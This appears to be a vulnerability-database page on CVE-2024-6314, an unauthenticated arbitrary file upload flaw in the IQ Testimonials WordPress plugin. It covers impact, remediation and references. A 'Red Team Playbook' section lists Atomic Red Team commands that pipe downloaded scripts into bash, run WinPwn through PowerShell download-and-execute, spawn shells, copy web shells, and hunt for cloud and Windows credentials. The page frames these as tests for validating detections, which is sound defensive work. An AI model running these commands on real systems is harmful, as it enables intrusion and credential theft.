CVE-2024-6314
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types within the 'process_image_upload' function of the IQ Testimonials WordPress plugin. The root cause lies in the failure to enforce strict file type checks, allowing files beyond expected image formats to be accepted. The affected component is the file upload handling mechanism in versions up to and including 2.2.7 of the plugin.
Vulnerability Description
The IQ Testimonials plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'process_image_upload' function in versions up to, and including, 2.2.7. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. This can only be exploited if the 'gd' php extension is not loaded on the server.
Impact
An unauthenticated attacker can upload arbitrary files to the server hosting the vulnerable IQ Testimonials plugin, enabling potential remote code execution if the server lacks the 'gd' PHP extension. This can lead to full system compromise, data exposure, or service disruption. The attack requires no user interaction or authentication and can be executed remotely over the network, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Users should upgrade the IQ Testimonials WordPress plugin to a version later than 2.2.7 where this vulnerability is addressed. Detailed patch information and remediation instructions are available via the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/bec50640-a550-49a8-baf6-2dd53995f90b. As a workaround, ensure the PHP 'gd' extension is enabled on the server to mitigate exploitation potential until the plugin is updated.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the IQ Testimonials plugin for WordPress stems from inadequate validation of file types during the image upload process. Specifically, the flaw exists in the 'process_image_upload' function, which fails to properly restrict the types of files that can be uploaded. This oversight allows unauthenticated users to upload arbitrary files, potentially including malicious scripts or executables, onto the server hosting the affected WordPress site. The risk is exacerbated by the condition that the 'gd' PHP extension must not be loaded on the server, as this extension can provide additional security controls that would otherwise mitigate the risk of file execution.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious file, such as a PHP script disguised as an image, and upload it to the server using the plugin's upload functionality. Once the file is successfully uploaded, the attacker can execute it by accessing the file's URL, leading to remote code execution. This scenario is particularly concerning as it allows the attacker to gain control over the server, potentially leading to further exploitation, data breaches, or the deployment of additional malware. The ease of exploitation, combined with the lack of authentication requirements, makes this vulnerability particularly attractive to threat actors.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on WordPress for their web presence. Successful exploitation can lead to unauthorized access to sensitive data, defacement of websites, or the use of compromised servers for launching attacks on other systems. Furthermore, the implications extend beyond immediate technical damage; businesses may face reputational harm, legal liabilities, and financial losses due to downtime or data breaches. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that it poses a significant risk to the integrity and security of affected systems.
To detect and mitigate this vulnerability, organizations should implement several strategies. First and foremost, it is essential to update the IQ Testimonials plugin to the latest version, which addresses this security flaw. Regularly reviewing and updating all plugins and themes is a best practice for maintaining WordPress security. Additionally, server configurations should be reviewed to ensure that the 'gd' PHP extension is enabled, as this can help limit the types of files that can be processed. Employing a web application firewall (WAF) can also provide an additional layer of protection by filtering out malicious upload attempts. Finally, organizations should conduct regular security audits and vulnerability assessments to identify and remediate potential weaknesses in their web applications.
In conclusion, the vulnerability within the IQ Testimonials plugin represents a critical security risk for WordPress sites, particularly due to its potential for arbitrary file uploads and remote code execution. The combination of ease of exploitation and significant impact on business operations necessitates prompt action from organizations to secure their environments. By adopting a proactive approach to security, including timely updates, robust server configurations, and comprehensive security practices, organizations can mitigate the risks associated with this and similar vulnerabilities.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6314 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/bec50640-a550-49a8-baf6-2dd53995f90b?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/iq-testimonials/tags/2.2.7/lib/iq-testimonials-form.php#L296 |